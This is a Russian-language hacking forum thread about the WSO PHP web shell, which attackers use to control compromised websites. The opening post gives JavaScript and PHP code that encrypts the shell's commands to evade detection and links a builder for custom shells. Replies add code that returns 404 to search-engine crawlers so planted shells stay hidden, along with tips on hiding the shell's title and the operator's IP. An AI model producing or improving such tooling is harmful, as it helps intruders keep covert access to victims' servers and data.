Старый 07.03.2011, 01:24   #1
Svet
 
Аватар для Svet
 
Регистрация: 11.09.2010
Сообщений: 172
Репутация: 42
По умолчанию WSO builder и WSO с шифрованием

С одобрения oRb'a.

Практически в каждом запросе к WSO используются 6 post-параметров: a, c, p1, p2, p3, charset (есть ряд других, но на данный момент их не рассматриваем [так как они используются реже]). Уже поднимался вопрос, что бы шифровать передаваеммые данные в WSO.
Шифрование через javascript на стороне клиента:
Код:
function encrypt(str, pwd) {
    if (pwd == null || pwd.length <= 0) {
        return null;
    }
    str = base64_encode(str);
    pwd = base64_encode(pwd);
    var enc_chr = '';
    var enc_str = '';
    var i = 0;
    while (i < str.length) {
        for (var j = 0; j < pwd.length; j++) {
            enc_chr = str.charCodeAt(i) ^ pwd.charCodeAt(j);
            enc_str += String.fromCharCode(enc_chr);
            i++;
            if (i >= str.length) break;
        }
    }
    return base64_encode(enc_str);
}

function utf8_encode(argString) {
    var string = (argString + '');
    var utftext = '',
        start, end, stringl = 0;
    start = end = 0;
    stringl = string.length;
    for (var n = 0; n < stringl; n++) {
        var c1 = string.charCodeAt(n);
        var enc = null;
        if (c1 < 128) {
            end++;
        } else if (c1 > 127 && c1 < 2048) {
            enc = String.fromCharCode((c1 >> 6) | 192) + String.fromCharCode((c1 & 63) | 128);
        } else {
            enc = String.fromCharCode((c1 >> 12) | 224) + String.fromCharCode(((c1 >> 6) & 63) | 128) + String.fromCharCode((c1 & 63) | 128);
        }
        if (enc !== null) {
            if (end > start) {
                utftext += string.slice(start, end);
            }
            utftext += enc;
            start = end = n + 1;
        }
    }
    if (end > start) {
        utftext += string.slice(start, stringl);
    }
    return utftext;
}

function base64_encode(data) {
    var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
        ac = 0,
        enc = '',
        tmp_arr = [];
    if (!data) {
        return data;
    }
    data = utf8_encode(data + '');
    do {
        o1 = data.charCodeAt(i++);
        o2 = data.charCodeAt(i++);
        o3 = data.charCodeAt(i++);
        bits = o1 << 16 | o2 << 8 | o3;
        h1 = bits >> 18 & 0x3f;
        h2 = bits >> 12 & 0x3f;
        h3 = bits >> 6 & 0x3f;
        h4 = bits & 0x3f;
        tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
    } while (i < data.length);
    enc = tmp_arr.join('');
    switch (data.length % 3) {
    case 1:
        enc = enc.slice(0, -2) + '==';
        break;
    case 2:
        enc = enc.slice(0, -1) + '=';
        break;
    }
    return enc;
}
Расшифровка на стороне сервера выглядит так:
PHP код:
$default_key md5($_SERVER['HTTP_USER_AGENT']);
if (!isset(
$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
    
WSOsetcookie(md5($_SERVER['HTTP_HOST'])."key"$default_key);
}
if(empty(
$_POST['charset']))
    
$_POST['charset'] = $default_charset;
if(isset(
$_POST['a'])) $_POST['a'] = iconv("utf-8"$_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset(
$_POST['c'])) $_POST['c'] = iconv("utf-8"$_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset(
$_POST['p1'])) $_POST['p1'] = iconv("utf-8"$_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset(
$_POST['p2'])) $_POST['p2'] = iconv("utf-8"$_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset(
$_POST['p3'])) $_POST['p3'] = iconv("utf-8"$_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
function 
decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);} 
В js-функцию set так же добавилось несколько строк:
Код:
d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
Скачать wso с шифрованием (не запакованый) можно по ссылке - ссылка (2.51 - это не версия, а просто имя архива).
==================================

Бывает, что весь функционал шелла не нужен, а нужна только одна-две (FileMan и SQL к примеру). Для таких ситуаций был написан небольшой билдер, который позволяет собрать шелл на основе составляющих wso (в версии 2.5 wso имеет прозрачную модульную стуктуру).
Билдер онлайн - ссылка. (1.04)
Скачать билдер - ссылка. (1.04) UPD. 26-07-2012

Последний раз редактировалось Svet; 26.07.2012 в 15:24..
Svet вне форума   Ответить с цитированием
Старый 07.03.2011, 10:26   #2
Spyder
 
Аватар для Spyder
 
Регистрация: 01.07.2010
Сообщений: 95
Репутация: 41
По умолчанию

hide_from_spyder

wtf? D:
__________________
wut?
Spyder вне форума   Ответить с цитированием
Старый 07.03.2011, 12:02   #3
Svet
 
Аватар для Svet
 
Регистрация: 11.09.2010
Сообщений: 172
Репутация: 42
По умолчанию

Включить ли в код шелла нижеуказанный участок:
PHP код:
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    
$userAgents = array("Google""Slurp""MSNBot""ia_archiver""Yandex""Rambler");
    if(
preg_match('/' implode('|'$userAgents) . '/i'$_SERVER['HTTP_USER_AGENT'])) {
        
header('HTTP/1.0 404 Not Found');
        exit;
    }

Svet вне форума   Ответить с цитированием
Старый 07.03.2011, 12:32   #4
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Цитата:
Сообщение от Svet Посмотреть сообщение
Включить ли в код шелла нижеуказанный участок:
PHP код:
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    
$userAgents = array("Google""Slurp""MSNBot""ia_archiver""Yandex""Rambler");
    if(
preg_match('/' implode('|'$userAgents) . '/i'$_SERVER['HTTP_USER_AGENT'])) {
        
header('HTTP/1.0 404 Not Found');
        exit;
    }

Если будет включаться, то не мешало б масив $userAgents дописать:

"Googlebot", "Yahoo", "StackRambler", "Mail.Ru", "Aport", "WebAlta Crawler", "WebAlta", "Teoma", "Scooter", "AportCatalogRobot","Lycos"

Ну и еще роботов понаходить.
}{оттабыч вне форума   Ответить с цитированием
Старый 13.02.2012, 06:58   #5
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
По умолчанию

Цитата:
Сообщение от }{оттабыч Посмотреть сообщение
Если будет включаться, то не мешало б масив $userAgents дописать:

"Googlebot", "Yahoo", "StackRambler", "Mail.Ru", "Aport", "WebAlta Crawler", "WebAlta", "Teoma", "Scooter", "AportCatalogRobot","Lycos"

Ну и еще роботов понаходить.
Лучше наоборот сделать. Чтоб всем кроме Mozilla, Chrome, Opera выдавало 404. Легче
Я сделал вот так(есть в онлайн-билдере ниже):
PHP код:
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    
$userAgents = array("Opera""Mozilla""Chrome");
    if(
preg_match('/' implode('|'$userAgents) . '/i'$_SERVER['HTTP_USER_AGENT'])) {
        goto 
abcd;
    } else { 
header('HTTP/1.0 404 Not Found');
exit;
}
}
abcd
Билдер онлайн не пашет. Вот вам новый билдер онлайн
Ereeee вне форума   Ответить с цитированием
Старый 20.12.2011, 11:19   #6
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Цитата:
Сообщение от Spyder Посмотреть сообщение
hide_from_spyder

wtf? D:
Прошаренные владельцы взломанных сайтов будут знать кому предъявлять... кто автор шелла
Nightmare вне форума   Ответить с цитированием
Старый 07.03.2011, 12:38   #7
Svet
 
Аватар для Svet
 
Регистрация: 11.09.2010
Сообщений: 172
Репутация: 42
По умолчанию

}{оттабыч, таким массив был у oRb'a. Я не менял.
Svet вне форума   Ответить с цитированием
Старый 07.03.2011, 14:33   #8
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 353
Репутация: 105
По умолчанию

Уберите из титула страницы site.com - WSO 2.x и не нужно никаких анти-поисковых защит.
b3 вне форума   Ответить с цитированием
Старый 07.04.2011, 23:35   #9
Svet
 
Аватар для Svet
 
Регистрация: 11.09.2010
Сообщений: 172
Репутация: 42
По умолчанию

Обновление:
  • Исправлен баг с SQL (проблемы в работе, если подключен только actionSQL).
  • Исправлен баг с phpinfo (без подключенного actionPhp не работает).
  • Свой тайтл (были замечания по этому поводу).
  • Передача пароля при авторизации в md5 (тут правда дописывается 4Кб JS).
  • Сокрытие своего IP (нужно, если шелл показывается в мувике).
  • Свой цвет (это так – для баловства ).

Онлайн
Скачать себе
Svet вне форума   Ответить с цитированием
Старый 20.12.2011, 02:45   #10
nartuk
 
Регистрация: 14.01.2011
Сообщений: 1
Репутация: 0
По умолчанию

Айда лепота!
Респект за билдер!
P.S. Было бы здорово добавить в билдер SUID. (тиць)
nartuk вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot